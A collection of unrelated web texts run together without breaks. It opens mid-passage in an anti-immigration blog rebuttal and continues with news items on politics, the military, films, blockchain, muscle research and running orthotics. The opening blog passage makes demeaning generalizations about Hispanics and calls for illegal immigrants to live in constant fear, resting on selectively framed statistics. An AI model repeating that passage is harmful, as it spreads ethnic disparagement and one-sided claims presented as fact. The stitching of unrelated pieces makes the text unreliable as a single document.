Shaw offers his readers several lines of assurance that immigration will not cause an increase in problematic behavior like crime.
“In truth, not only do high levels of immigration bring crime rates down, but but undocumented immigrants commit crimes at a far lower rate than native-born Americans. “
For this claim Shaw cites a CNN article which makes the following points:
According to Pew, illegal immigrants are less than 4% of the US population
According to the DOJ, non citizens are 5% of the prison population
According to the Current Population Survey, foreign born men are 3.3% of the population and 1.6% of the prison population
According to Politifact, Trump made up the claim that illegal immigrants committed hundreds of thousands of crimes The first thing to say is that none of these organizations have a good way of counting illegal immigrants. It all boils down to just asking people, including prisoners, if they are an illegal immigrant. They have an obvious incentive to lie if they are, so none of these numbers mean much. This is especially true for illegal immigrants in prison who may fear deportation if they tell the government that they are an illegal immigrant. This is an extremely important fact to realize about the American dialog on immigrants: No one really knows how many illegal immigrants are in the U.S. or how many are in prison and, because of this, directly computing their crime rate is impossible. Secondly, the DOJ data set that said that non-citizens were 5% of prisoners did not include data from California. If they had bothered to read the fine print they might have noticed this line under table 18: Given that California has a huge non-citizen population, this is an pretty important exclusion. As for politifact, as usual, they just didn’t know what they were talking about. They are not familiar with American crime stats and so could not find the data set Trump was referring to. I actually wrote a response to the Politifact article in question last year: “Politifact also failed to cover the Homeland Security report that Trump based his claim on. They claimed they couldn’t find the report, yet, somehow, journalists at other sites have had no problem locating the document. In it, Homeland Security reports that there are currently 347,000 criminal immigrants in the united states.” It’s important to realize that this is a huge under-estimate of how many criminal illegal immigrants there are in the US. As I explained in my article: ” For the last few years, via the Secure Communities Program, anytime someone is arrested their fingerprints are sent to the DHS which then checks to see if their fingerprints match the fingerprints of any known immigrants in their database. Obviously, this program will under-estimate the number of times that illegal immigrants are arrested because many illegal immigrants will not have their fingerprints registered with the DHS. But a large proportion of them will and this method is clearly better than just asking whether or not someone in jail is an immigrant.” Of course, this whole conversation is absurd to begin with because “immigrants” are not a homogeneous group. Asking whether or not you want to let “immigrants” into your country makes about as much sense as asking whether or not you want to let “people” into your home. It depends on who the people are and people from different nations, cultures, and races, are not the same. This topic becomes much simpler when we drop the political correctness and talk about Hispanics instead. DOJ documents clearly show that Hispanics have an abnormally high incarceration rate: Beck (2001) Carson and Golinelli (2013) Carson (2014) Carson (2015) Shaw goes on: “Also, neighborhoods with higher concentrations of immigrants tend to be safer, despite the fact that these same areas are some of the poorest.” We are once again talking about “immigrants” instead of Hispanic immigrants, which is the group people are actually concerned about, making this entire point of questionable value. Moreover, didn’t Shaw just cite a CNN report that argued that immigrants are less likely than non immigrants to call the police when a crime happens? Could that not impact the “crime rate” in such areas? The analysis he cites is also only on a single city, Chicago, and so can’t be said to hold much weight. Shaw goes on to claim that “immigrants” get good grades. Again, no one cares about “immigrants”. Hispanic grades suck.
Some people may think that I am using this excuse excessively because we often think of Hispanics when we think of immigrants. The truth is that we think of Hispanics when we think of immigrants because Hispanics are the immigrants who are causing us problems. The fact of the matter is that most immigrants are not Hispanics.
Pew (2013)
This data explains Shaw’s next claim:
“The reality is that the crime rate among legal and illegal immigrants increases with each generation born in the United States.”
Followed by this chart:
I have a lot of problems with this chart. Firstly, I am not sure where the data comes from. The chart says that the data comes from a journal called “Justice Quarterly”, but the article the chart is from never mentions a study published in that journal.
It does talk at length about Bersani (2013) which did look at crime rates by generation and did use a question about criminal activity within the last 12 months, just as the chart displays. But this paper did not break down the data by age as the chart above did.
My best guess is that Pew found a study which they did not cite which utilized the same data set as Bersani and made a chart out of it. Obviously, this is not an intellectually transparent way to go about things and makes fact checking them impossible.
That being said, the chart itself raises a lot of questions. Firstly, if it is using the same data-set that the article itself talks about, then it used a self report measure of criminal activity within the last year. Secondly, the chart mostly displays data from teenagers. Why is that? The chart shows the pattern ending by around 22 years of age. What happens in adulthood?
Honestly, this paints a pretty funny picture. Researchers were approaching people who had immigrated to the US as a minor and asking them, 1st generation immigrant teenagers, whether or not they had committed a crime within the last year, and basically all of them said no. I hope I don’t need to point out the many ways in which such an approach is flawed.
Then there is the fact that, once again, we are treating “immigrants” as a homogeneous group. For the millionth time, “immigrants” are not all the same.
The fact of the matter is that, because of the low frequency of Blacks and high frequency of Asians among immigrants, if you estimated the crime rate of each ethnic group of immigrants from their crime rate in the US (based on FBI Uniform Crime Reports) and then predicted what the overall crime rate of immigrants would be solely based on their racial demographics, you would predict that they would have a lower crime rate, by about 13%, than the American population does.
However, this fact tells us nothing about the Hispanic rate of violent crime and therefore tells us nothing about how we should react to Hispanic immigration.
Happily, the same data set Pew seems to have based their claim off of has been analyzed along ethnic lines and using a better measure of criminal actiity. Here are the results:
Chart from Ehrenfreund (2016) data from Zaw and Darity (2016)
In short then, the data, including the data Pew cited, suggests that Hispanic crime is a perfectly rational thing to worry about.
4. The Cost of Illegal Immigrants
Shaw also attempts to calculate the cost, budget wise, of immigrants. First, he cites an analysis which estimated that illegal immigrants collectedly pay about 11 billion dollars in taxes and then he cites something pointing out that immigrants pay into social security but don’t get access to it.This is a joke of an attempt at calculating the net budget impact of immigrants.
In order to correctly estimate the budget impact of immigrants you to estimate the total amount in taxes they pay and then subtract the total value of government services they consume. Here is what such an analysis looks like:
Rector and Richwine (2013)
Thus, immigrants, legal and illegal, are a huge net drain on the budget.
Shaw also brings up the fact that “immigrants” add to the nation’s GDP. This is true, but he fails to mention a key fact about this addition to GDP. Consider the following from a leading Harvard economist who specializes in immigration:
“The presence of all immigrant workers (legal and illegal) in the labor market makes the U.S. economy (GDP) an estimated 11 percent larger ($1.6 trillion) each year. This “contribution” to the aggregate economy, however, does not measure the net benefit to the native-born population. Of the $1.6 trillion increase in GDP, 97.8 percent goes to the immigrants themselves in the form of wages and benefits.” – Borjas 2013
The remainder works out such that each native person’s real income is increased by about 140 bucks a year thanks to immigrants. But we’ve already seen that immigrants are a net negative, by thousands of dollars, with respect to the federal budget. Thus, on net they are clearly a net negative economically speaking.
5. Not All Immigrants are from Mexico
Shaw points out that not all immigrants are Mexican and that Asian immigration is on the rise. This is true. He also says that Hispanic immigration is at zero or even negative today. This is false. As I mentioned earlier, no one has a good way of counting immigrants, especially illegal ones. As such, confident statements about the number of illegals coming in from a specific country is not should not be taken seriously.
6. Build the Wall
Shaw ends his piece by saying that a wall is ineffective. He offers virtually no empirical evidence for this assertion, nor does he deal with obvious counter examples such as the Israeli-Palestine wall.
He does point out that many immigrants come into the national legally and overstay their Visas and that a wall would not fix this. That is true. We need other policies, such as mandatory E-verify, ending birthright citizenship, and banning immigrants from all sources of welfare, to deal with such people.
Shaw also points out that some immigrants will do extreme things to escape bad situations. That is also true and is why we need to make being an illegal immigrant in the US a really bad situation to be in. Such people should not have access to a job, or education, and they should live in constant fear of the very real threat of deportation.
This may sound harsh, but it is the general principle that is the foundation of law: you stop people from committing illegal acts by creating sufficiently severe punishments to deter them.
Donald Trump said he is “fine with” same-sex marriage but offered few specifics about his plans for the first 100 days of his administration during his first television interview since becoming the president-elect.
In an extensive interview with CBS’ Lesley Stahl broadcast Sunday night on “60 Minutes,” Trump sought to ease the anxieties of LGBTQ Americans that a new conservative Supreme Court majority might overturn last year’s decision legalizing same-sex marriage.
Story Continued Below
Ducking a question about his personal view on the issue, which he dismissed as “irrelevant,” Trump asserted, bluntly, “it’s done.”
Trump 'saddened' by reports his supporters are harassing minorities During his first sit-down interview after being elected president, Donald Trump told CBS’s Leslie Stahl on '60 Minutes' that he wants his supporters to 'stop it.' poster="http://v.politico.com/images/1155968404/201611/2893/1155968404_5209446499001_5209417181001-vs.jpg?pubId=1155968404"
“These cases have gone to the Supreme Court. They’ve been settled. And I’m — I’m fine with that,” he said.
The answer came as Trump attempted to downplay the protests that his election has sparked and blamed any fears held by Muslims and African-Americans not on his own rhetoric or policy proposals but on biased media.
“I think it’s built up by the press, because, frankly, they’ll take every single little incident that they can find in this country, which could’ve been there before,” Trump said. “If I weren’t even around doing this, and they’ll make into an event because that’s the way the press is.”
Trump attempted to dismiss the huge crowds of protesters in several American cities as “professional protesters” and a “small amount” of people. When Stahl asked the president-elect about reports that his supporters are “harassing Latinos [and] Muslims,” Trump did not dispute the reports. Rather, he asked his backers to stop.
“I am so saddened to hear that. And I say, ‘Stop it.’ If it — if it helps,” Trump said, turning from Stahl to another camera positioned inside his Trump Tower apartment. “I will say this, and I will say right to the cameras: Stop it.”
The interview, which aired Sunday night just hours after Trump’s announcement that he is installing RNC Chairman Reince Priebus as his chief of staff and Breitbart News executive Steve Bannon as his chief strategist, offered little clarity about the first 100 days of the president-elect’s administration. The interview was taped Friday.
Trump listed immigration reform, health care and tax reform as his top three priorities, and took credit for giving Republicans control of the White House and Congress but offered little clarity about what he and new GOP majorities will focus on first. He promised to follow through and build a wall along the U.S.-Mexico border — GOP leaders in Congress have already thrown cold water on the idea — but said he would accept “a fence” in places.
Trump told Stahl he is not intimidated or scared by the weight or gravity of the presidency, but he struggled to grapple with some of the likely consequences that would arise if he follows through on many of his campaign promises.
He acknowledged the possible reality of appointing an anti-abortion rights Supreme Court majority that could overturn Roe v. Wade. When pressed by Stahl, he said some women will “perhaps have to go — they’ll have to go to another state.”
“And that’s OK?” Stahl responded.
“Well, we’ll see what happens,” Trump said. “It’s got a long way to go, just so you understand. That has a long, long way to go.”
Trump was conciliatory toward Hillary Clinton, hinting that he’d prefer to focus on a policy agenda than pursue an investigation of his former rival, but he made no firm promises either way. And he told Stahl he does not plan to take a salary or a vacation or to change his unconventional style and communication methods, confirming that he will continue, at least at times, to tweet from his personal account.
“I’ll conduct myself — in a very good manner, but depends on what the situation is,” Trump said. “Sometimes you have to be rougher.”
Air Force Maj. Gen. Michael T. McGuire says the potential loss of a 400-member aviation combat unit at Silverbell Army Heliport near Marana could reduce the Arizona National Guard’s capabilities and hurt the state’s economy, the Arizona Daily Star reports.
The Army plans to keep four Apache attack battalions in National Guard units, but where those units will be based is still being decided.
The Arizona attack battalion has already lost all but four of its former fleet of 20 Apaches, and unless Silverbell is picked as one of the Guard Apache battalion sites, the unit faces possible deactivation.
McGuire said the Army’s plan is unsustainable and would waste the skills of hundreds of pilots, technicians and other personnel. The plan would also leave each battalion with fewer helicopters.
The National Guard’s capabilities and readiness would erode as a result, McGuire said. “We’re signing up for a program that essentially delays the inevitable, which is the removal of all attack aviation from the guard.”
In a move to maintain its wartime capacity and stay within budget limits, the Army initially had planned to transfer all 192 of the Army Guard’s Apaches to active-duty units, in exchange for UH-60 Black Hawk transports.
However, Congress in 2015 required the service to study the issue further.
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In January 2016, the Guard’s Apache units got a reprieve of sorts when the Commission on the Future of the Army recommended that the Army keep four battalions of 18 Apaches each in the Guard.
McGuire also recommended that the Army reactivate Apache training at a training center at the Silverbell Heliport. The site still provides training on Black Hawks and Lakota scout helicopter but Apache flight and maintenance training were discontinued several years ago.
The actor confirmed that in a Tuesday night Instagram post of an “Infinity War” set pic with his “Iron Man” co-stars Gwyneth Paltrow (Pepper) and Jon Favreau (Happy). See it below.
Infinity Trinity … #infinitywar ????and street cred @jimmy_rich represent @marvelstudios and @therealstanlee … A post shared by Robert Downey Jr. (@robertdowneyjr) on Aug 22, 2017 at 6:08pm PDT
Paltrow appeared as Stark Industries CEO and Tony Stark (RDJ) love interest, Pepper Potts, in all three “Iron Man” films, as well as the first “Avengers.” But she was absent for 2015’s “Avengers: Age of Ultron” and 2016’s “Captain America: Civil War.” In-universe, the explanation was that Tony and Pepper had broken up, but a cameo appearance by Paltrow near the end of “Spider-Man: Homecoming” suggested they’d reconciled. Looks like things are still going strong for Topper. Er, Stotts? No, wait, Stepper.
Also Read: 'The Defenders' Gives Us the Origin Story for Marvel Superhero Misty Knight
Aside from playing Stark Bodyguard and friend Happy Hogan in all three “Iron Man” films, Favreau also directed “Iron Man” and “Iron Man 2.” He usually appears in what amounts to an extended cameo, but had a larger supporting role in “Spider-Man: Homecoming.” “Infinity War” marks his first appearance in the “Avengers” franchise.
And yes, all three of them appeared together onscreen in “Homecoming,” but we’re glad to see the reunion continue.
David Cameron should consider a pact with UKIP, his elections adviser says.
Michael Fabricant suggests offering an in/out referendum on UK membership of the EU if UKIP promises not to stand against Tory candidates in 2015.
But No 10 said Mr Fabricant "did not speak for the party on this issue.... the safest way to protect Britain's interest is to vote Conservative".
UKIP leader Nigel Farage said it was "difficult" to envisage a pact while David Cameron was Conservative leader.
In an internal report to the prime minister the senior MP, who oversees campaigns on the ground, details the threat that UKIP now poses and says the party is costing the Tories votes in crucial marginal constituencies.
'Open debate'
He says an electoral pact with UKIP - in which the Conservatives would promise a referendum after 2015 and in return UKIP would not stand against Tory candidates - could help the Conservatives win an extra 20-40 seats at the next election.
If someone pragmatic, grown-up and sensible like Michael Gove was leader, then you might think we could sit round the table and have a proper discussion Nigel Farage, UKIP leader Council 'open' over foster case
He told the BBC he wanted "an open debate" about the issue and no decision would have to be taken before 2014 at the earliest.
"There is clear evidence that some Conservative votes are to going to UKIP," he told the BBC. "That is not very logical because the best deal, if you want a good deal in Europe, is to vote Conservative.
"The trouble is some people are not doing that. They think that they can get a better deal by voting UKIP."
He rejected suggestions that talk of a pact was a sign of Conservative weakness or an attempt to put pressure on the prime minister over an EU referendum. "I am coming from a position of strength. I am not talking losing votes but about gaining votes and gaining seats."
He acknowledged such a deal would be "unpopular" with the Lib Dems - who are governing in coalition with the Conservatives until 2015 and oppose an in-out referendum - and therefore "the timing of any such declaration would be critical".
Mr Fabricant, who was a whip until leaving the government in September's reshuffle, believes the move could help secure the Conservatives a majority after the next election.
'Written in blood'
Earlier this year, UKIP leader Nigel Farage said he was open to the idea of a pact but demanded a referendum pledge "written in blood".
With great respect to the "in-outers", I don't think it does boil down to such a simple question Boris Johnson, Mayor of London
But on Monday, he said he did not really trust Mr Cameron to deliver a referendum and urged him again to retract comments made in a 2006 interview in which he described some UKIP members as "closet racists".
"It is very difficult to see how you could ever do a deal with someone who was consistently rude about you," he told the BBC's Daily Politics.
While UKIP and the Conservatives had fundamental differences on policy, Mr Farage said he would be more inclined to talk to the Conservatives if they had a different leader.
"Cameron is the major obstacle," he added. "If someone pragmatic, grown-up and sensible like Michael Gove was leader, then you might think we could sit round the table and have a proper discussion."
'Fresh consent'
A Downing Street source said: "Michael Fabricant does a great job campaigning in by-elections but he doesn't speak for the party on this issue.
"The safest way to protect Britain's interests is to vote Conservative. That's why we'll have Tory candidates in every seat at the next election."
The prime minister has committed to seeking what he called "fresh consent" in a national vote but he has so far resisted the idea of an in/out referendum.
Mr Cameron has received backing for his position from Mayor of London Boris Johnson.
Mr Johnson previously suggested he was in favour of an in/out referendum at the "right moment" but he told the BBC on Sunday he now believed the issue was not as "simple" as that.
"I don't think it is as simple as 'yes/no' now," he told Radio 5 Live's Pienaar's Politics. "Suppose Britain voted tomorrow to come out, what would actually happen.
"We would still have huge numbers of staff trying to monitor what is going on (in the EU), only we would not be able to sit in the Council of Ministers and we would not have any vote at all. Now I don't think that is actually a prospect that is likely to appeal.
Following an attack of this nature, we can expect two streams of reactions. President Obama, Hillary Clinton and others are of the first type, urging us to condemn retaliation against Muslims. In contrast, Republican presidential nominee Donald Trump is of the second, insisting that the US strictly scrutinize or even ban Muslims from entering the country.
As a result, many Americans may infer that they must make a choice: call upon the value of inclusivity and support American Muslims, or call upon the value of homeland security and take a strong stand against terrorism, and by extension, Muslims.
My results are not surprising to social scientists, who know that humans derive self-worth from the groups we belong to
But my research suggests that this dichotomy is both false and dangerous, as excluding Muslims is more likely to exacerbate terrorist tendencies, while welcoming Muslims is more likely to quell radicalization.
Understanding why requires understanding what motivates someone to become a terrorist in the first place.
Many assume that people who commit terrorist attacks in the name of Islam are religious zealots. Actually, many Muslim radicals were not particularly religious at the get-go. Indeed, a substantial number of Isis sympathizers are converts to Islam – hardly lifelong devotees.
If not religion, then, what is to blame?
Researchers have long studied the motivations of terrorists, with psychologist Arie Kruglanski proposing a particularly compelling theory: people become terrorists to restore a sense of significance in their lives, a feeling that they matter. Extremist organizations like Isis are experts at giving their recruits that sense of purpose, through status, recognition, and the promise of eternal rewards in the afterlife.
My own survey work supports Kruglanski’s theory. I find that American Muslims who feel a lack of significance in their lives are more likely to support fundamentalist groups and extreme ideologies.
What we really need to know now is, what sets people on this path? How do people lose their sense of purpose?
My research reveals one answer: the more my survey respondents felt they or other Muslims had been discriminated against, the more they reported feeling a lack of meaning in their lives. Respondents who felt culturally homeless – not really American, but also not really a part of their own cultural community – were particularly jarred by messages that they don’t belong. Yet Muslim Americans who felt well integrated in both their American and Muslim communities were more resilient in the face of discrimination.
My results are not surprising to many social scientists, who know that we humans derive a great deal of self-worth from the groups we belong to. Our groups tell us who we are and make us feel good about ourselves. But feeling like we don’t belong to any group can really rattle our sense of self.
Bringing this back to terrorism prevention: when politicians espouse anti-Muslim rhetoric and say that Americans shouldn’t trust a community of 3.3 million people, what do they expect? A few hurt feelings at the expense of protecting our homeland?
If only. When politicians propose banning Muslim travel or policing Muslim communities, and when other Americans applaud and echo these sentiments, we send the message that a) Muslims are not really Americans, and b) being Muslim is something to be ashamed of.
According to my research, this is the recipe for making American Muslims feel disenfranchised and discriminated against. We are actually planting the seeds for radicalization and essentially helping Isis recruit by fueling the narrative that the west is anti-Islam.
Taking questions on Twitter, a fan asked if the original lineup would perform together. Although he didn’t rule anything out, he simply responded with “Seems unlikely.”
In another question related to the Hall of Fame, Stanley said that the band has not yet determined if they will be wearing makeup during the ceremony.
When the news of Kiss’ induction was announced, Stanley and Gene Simmons both said that they were open to performing with Frehley and Criss to mark the occasion. But, of course, it wouldn’t be Kiss without some extra drama, and in the intervening weeks, the good feelings within the Kiss camp appears to have changed.
My favorite nuggets of wisdom from Maria:
Chris, take it away.....
As a guy working in the fitness world there are quite a few things I don’t understand and CANNOT even pretend to wrap my head around. The biggest one: post-pregnancy weight loss. So when I was looking recently at my Facebook feed, and saw a picture of my friend Maria McCorkle who had a baby last year, I had to talk to her. Here's our "interview," which has a lot of information - and inspiration - for other moms and moms-to-be out there!
Conor was born May 11th of 2011. I was admitted to the hospital at 196 lbs (pictured, left, at 177 lbs). The doctors had told me to expect to be around 165. To put it into perspective, I was 134 lbs at 2 months into the pregnancy. Early on in the pregnancy I was put on limited exercise due to family medical history, and in the 3rd trimester I was diagnosed with preeclampsia, all of which led to me gaining more weight than expected.
What exercises were you doing prior? Running. A lot. One of the hardest things when I started exercising again was getting back to running. It felt like I was starting from scratch since I was unable to do much of anything during the pregnancy. When did you start working out again? What helped drop the weight? Well, I attempted to start on Weight Watchers in June, but due to complications with Connor’s health, was unable to start that and exercise until August. Between May and August I MAYBE lost 5-6 lbs. I can’t tell you how many times I looked in the mirror and thought I wasn’t going to be able to get my body back. It was tough. Although I don’t do Weight Watchers anymore, one thing I definitely learned was to change my relationship with food. It is fuel, and it is good. I went with something that I have seen work, not a fad. And I made sure I was bringing in enough calories in order to lose weight. Amazed to this day when I see people trying to lose weight AND workout and only consuming 1,000 a day. I was eating 1,500-2,000 net and I’m currently 125 lbs. Wow, what has motivated you? I mean, you worked full time, are now a full time law school student, and your husband (Blake, whom I went to high school with) is a firefighter. Where do you find the time? I made it. We made it. When you are a parent, you can’t wallow in your own self pity. Yes, I had postpostpartum depression. It is real, and it sucks. But when I started exercising again, I was able to get off the medication that they prescribed for me. I was able to smell the air, see the sky, run without headphones- these are sensations, experiences, beauties, that my battle with depression and PPD kept me from. I am too grateful to give it up now. Blake has seen this and has been very supportive. If that means running with me in the evening when he gets home from the station, or just watching Conor while I go for a run, I could not have done this without the support of him and his parents. We have actually turned workout nights into date nights.
Do you have any advice for new or soon to be mothers?
Quitting is NOT an option and no one can make you lose weight. You have to get up, get out there, and do it. For me, I am a high risk if we want to have another child. I am getting in the best shape I can to ensure if we do, it is a safer pregnancy. I have also come to terms with my body. These stretch marks aren’t scars to be ashamed of, they are tiger’s stripes. I am strong, and beautiful. I earned them. And transfer those bad days to a harder workout.
Sweden’s land registry authority, the Lantmäteriet, seems to think so, and has emerged as one of the first national agencies to put its faith behind the use case. While there is a steady stream of projects pairing blockchain startups with government agencies, the Lantmäteriet’s work is perhaps distinguished by the steady progress it’s shown so far.
Working with startup ChromaWay and consultancy Kairos Future, as well as the SBAB and Landshypotek banks, the Lantmäteriet has been testing whether private blockchains can serve as a means of carrying out property transactions since last June.
The goal, according to the authority’s head of development, Mats Snäll, is to reinvent the way land titles are registered.
He told CoinDesk:
“[We] saw that this process was quite conservative. It still consisted of paperwork and such things and [we thought] it would be a good idea to see if that kind of process was possible to change with the help of the blockchain technology.”
The Lantmäteriet, Snäll said, was drawn to the openness and transparency that blockchain technology could potentially offer the agency, as well as Sweden’s citizens.
“Land titling should be public, it should be open, it should be transparent and safe and secure,” he said.
Blockchain promises
Blockchain proponents have made a lot of big promises around what the technology could do for the public sector, but land titling is also statistically a big concern. Around 70% of the world lacks access to proper land titling, according to the World Bank.
As an alternative to current systems, Lantmäteriet’s private blockchain test envisions how to allow buyers, sellers, banks and authorities to track a transaction from beginning to end digitally, instead of using paper contracts, thus making tracking and transparency easier.
The idea is every party would have the information immediately accessible on the blockchain.
To date, Sweden is at perhaps the most advanced stages of blockchain testing for property records (though other countries like Georgia and Honduras have been moving forward with the idea). However, the nation is still a long way off from widely implementing a blockchain land registry platform.
While the trial recently completed its latest phase, the project remain in the exploratory stages.
“It’s a very small trial so far, so … we don’t know if it will work in the wider perspective,” said Snäll.
Upending the old
Still, Sweden is a developed nation with a land registry system that, while perhaps old-fashioned, is working adequately.
Upending that system with blockchain tech may promise a more efficient way of doing things in the long term, but people may still need some persuasion, according to Snäll.
“Still people ask, ‘What is blockchain?'” he said. “It’s still to be seen if one is against it or not. Right now most of the people are curious about it.”
The next stage for the parties in trial is to get beyond this ‘curiosity’ period. Further, the project has not yet tested the blockchain with actual property records.
“This is something we will need to try in the next phase,” said Snäll.
Legal barriers
For the banks, too, it’s still a case of seeing how everything works.
SBAB Bank told CoinDesk last month that it has no plans to implement the blockchain platform in the immediate future and that the trial remains exploratory
Unsurprisingly, the biggest barrier to changing the land titling system is not the technology itself, but laws and regulations that have been in place for years.
“The interpretation of the law today is that all the contracts regarding sale, purchase and gifts of property should be stated in contract by paper and pen. In that regard, we need to change the law or change the interpretation of the law if we’re going to have digital contracts,” Snäll said.
He explained that the Lantmäteriet has already made proposals to the government regarding the issue, adding: “Slowly we are moving towards some kind of action, I think.”
A spokesperson for the Ministry of Justice, which would oversee such a change, declined to offer additional comment when contacted by CoinDesk.
There is, however, an ongoing government committee run by Sweden’s Department of Finance that is examining how legislation can be changed or adapted for digital development.
“I hope that our area would be covered,” said Snäll.
Mutual interest
But while the Lantmäteriet has spearheaded the use of the blockchain within the Swedish public sector, it’s not alone in its interest.
Other agencies, like the taxation authority, are reaching out to the land registry authority to better understand how blockchain technology works and if it can be applied to their processes for handling information about citizens.
“Everyone knows we are involved in this project so they have contacted us,” Snäll said.
Right now, the involved parties are mulling over the next phase of the land registry trials and how they should be developed going forward.
Still, according to Snäll, the next phase of the project won’t start until summer or fall.
He concluded:
“Right now we need some time to explore and to summarize this phase.”
The program, according to those who saw it at F.B.I. headquarters, called “Don’t Be a Puppet,” leads the viewer through a series of games and tips intended to teach how to identify someone who may be falling prey to radical extremists. With each successful answer, scissors cut a puppet’s string, until the puppet is free.
In the campaign against terrorists such as the Islamic State, law enforcement agencies have been stepping up efforts to identify those susceptible to recruitment. The agencies have enlisted the cooperation and advice of religious and community leaders. But the controversy over the Federal Bureau of Investigation’s new online tool is one more indication that there is no consensus on who should be involved in detecting and reporting suspects, and where to draw the line between prevention and racial or religious profiling.
Close Quarters will feature four new maps which, predictably, are all considerably smaller than the standard, wide-open Battlefield maps. Instead of large-scale battles between tanks and jets, Close Quarters will offer up room-to-room combat between infantry. In the announcement, DICE executive producer, Patrick Bach, mentioned that the maps would be similar in flow to Operation Metro, the map that was featured in the Battlefield 3 multiplayer beta. The expansion will also see the addition of 10 new weapons to the Battlefield arsenal.
Close Quarters will be joined in the fall by the third Battlefield 3 expansion, titled Armored Kill. In contrast to the smaller maps of Close Quarters, Armored Kill will be a return to form for Battlefield, with a focus on large-scale maps with vehicle-on-vehicle combat. As one would expect, new vehicles will be introduced as part of this pack.
"The loss of muscle mass is a major contributor to disease-related deaths," said Andrew R. Judge, Ph.D., a researcher involved in the work from the Department of Physical Therapy at the University of Florida in Gainesville. "FoxO proteins may provide a target for therapies aimed at reducing muscle wasting and thus improving the quality of life and survival rates for patients with many different diseases."
To make this discovery, Judge and colleagues genetically inhibited the activity of "Forkhead boxO" proteins, or "FoxO," in the skeletal muscle of healthy control mice, septic mice, and mice with cancer. The loss of muscle mass in those with cancer and sepsis was significantly decreased by inhibition of FoxO activity. In healthy control animals inhibiting FoxO activity caused an increase in muscle cell size which occurred as a result of protein synthesis.
To begin the discussion, runners who do not even have a biomechanical abnormality commonly overutilize orthotics.1,2 Many runners adhere to the false belief that they need to “support” their arches with an orthotic device to protect from the heavy pounding that occurs from running. Others have simply recovered from an overuse injury and have elected to continue running with orthotics.
What runners and physicians need to be aware of is what exactly they are trying to accomplish with an orthotic. We typically prescribe rigid or semi-rigid orthotics to control excessive pronation occurring in the subtalar joint. Even if the patient does not have a true pes planus deformity, a gait examination may demonstrate increased pronation occurring during heel strike and into midstance. This leads the practitioner to recommend an orthotic device.
With all the recent attention on barefoot running and minimalist running shoes, we have also seen the focus on “proper running form.” This seems to be the most important limiting factor in correcting overuse injuries, more so than the actual shoe or orthotic.
The debate now enters a second arena. Do we advocate striking on our midfoot/forefoot or our heels? There is evidence that demonstrates most elite runners who are finishing first and running faster are landing on the forefoot.3,4 While our focus should remain on being healthy and not just winning, we could extrapolate from these runners that they have adopted an efficient and natural way to run.
A recent study published by Lieberman and colleagues demonstrated a significant increase in injury rates amongst collegiate competitive cross country runners who habitually rearfoot strike in comparison to those who forefoot strike.5 The injury rate associated with those who heel strike was comparatively as large when researchers compared this to other factors thought to influence injury rates such as age, prior injury, body mass index, foot type, lumbopelvic strength, arch type, flexibility, Q angle and neuromuscular control.6-10 Numerous studies also demonstrate minimal, if any, significance for the prescriptive use of orthotics or running shoes for running injuries.11-15
Given the observation that both scientific and anecdotal evidence is pointing toward forefoot/midfoot striking, we now must ask ourselves the question: Where do orthotics play a role in running?
One important concept to understand with forefoot or midfoot striking is that we convert the vertical force of striking the ground into rotational force by lowering the heel to the ground. This occurs by pronation of the entire foot first, then with pronation of the subtalar joint just before the heel lifts off the ground to begin its forward momentum. Accordingly, preventing subtalar joint motion with an orthotic device and heel striking is not a relevant issue. We need the motion that is occurring through the entire process of forefoot strike to heel contact and pronation to absorb the shock adequately.
Does Proper Running Form Negate The Need For Pronation Control?
Obviously, more studies need to examine this concept but it poses a very interesting question: Do we really need to control pronation if we have proper running form?
In my practice, when runners bring up the question of what type of shoe they should be wearing, I explain that they first need to “learn how to run.” Then shoegear and orthotics become irrelevant. We also use the same approach with orthotics. As with any treatment protocol, that “treatment” must be justified via sound evidence-based medicine.
If a runner presenting to our office has dealt with any type of overuse injury that is chronic, we stress the importance of learning proper running form and educating the patient on forefoot striking, proper cadence and proper transitioning from the current running form.
If patients are in mid-season training for a marathon or similar distance event, we educate them on proper running form, but advise them that a drastic change in their gait prior to a race could be detrimental if training time is not sufficient. If the patient is heel striking, we can implement an orthotic temporarily but only until the patient can begin transitioning from a forefoot strike pattern and only if symptoms are present due to the overpronation occurring as a result of heel striking.
References
1. Tuff S. Do you really need an $800 custom insole? New York Times. 2006; Available at http://www.nytimes.com/2006/06/22/fashion/thursdaystyles/22Fitness.html… .
2. Spiker T. Orthotics for your shoes. Runner’s World. 2004; Available at http://www.runnersworld.com/article/0,7120,s6-240-319-327-7000-0,00.html .
3. Larson P, Higgins E, Kaminski J, et al. Foot strike patterns of recreational and sub-elite runners in a long-distance road race. J Sports Sciences. 2011; 29(15):1665-1673.
4. Hasegawa H, Yamauchi T, Kraemer WJ. Foot strike patterns of runners at the 15-km point during an elite-level half marathon. J Strength Cond Res. 2007; 21(3):888-893.
5. Daoud AI, Geissler GJ, Wang F, Saretsky J, Daoud YA, Lieberman DE. Foot Strike and injury rates in endurance runners: a retrospective study. Med Sci Sports Exerc. 2012; epub Jan 3.
6. Bennett MR, Harris JWK, Richmond BG, Braun DR, Mbua E, Kiura P, Olago D, Kibunjia M, Omuombo C, Behrensmeyer AK, Huddart D, Gonzalez S. Early Hominin Foot Morphology Based on 1.5-million-year-old footprints from Ileret, Kenya. Science. 2009; 323(5918):1197-1201.
7. Bramble DM, Lieberman DE. Endurance running and the evolution of Homo. Nature. 2004; 432(7015):345–352.
8. Frederick EC. Physiological and ergonomics factors in running shoe design. Appl Ergonomics. 1984; 15(4):281-287.
9. Kerr BA, Beauchamp L, Fisher V, Neil R. Footstrike patterns in distance running. In: Nigg BM, Kerr, BA, eds. Biomechanical Aspects of Sports Shoes and Playing Surfaces. Calgary University, Calgary, 1983, pp. 135–142.
10. Williams DS, McClay IS, Manal KT. Lower extremity mechanics in runners with a converted forefoot strike pattern. J Appl Biomech. 2000; 16:210–218.
11. Hume P, Hopkins W, Rome K, Maulder P, Coyle G, Nigg B. Effectiveness of foot orthoses for treatment and prevention of lower limb injuries: a review. Sports Medicine. 2008; 38(9):759- 779.
12. Knapick JJ, Trone DW, Swedler DI, Villasenor A, Bullock SH , Schmied E, Bockelman T, Han P, Jones BH. Injury reduction effectiveness of assigning running shoes based on plantar shape in marine corps basic training. Am J Sports Med. 2010; 36(9):1469-1475.
13. Mattila VM, Sillanpää PJ, Salo T, Laine HJ, Mäenpää H, Pihlajamäki H. Can orthotic insoles prevent lower limb overuse injuries? A randomized-controlled trial of 228 subjects. Scand J Med Sci Sports. 2010; 21(6):804-8.
14. Ryan MB, Valliant GA, McDonald K, Taunton JE. The effect of three different levels of footwear stability on pain outcomes in women runners: a randomised control trial. Brit J Sports Med. 2010; 45(9):715-721.
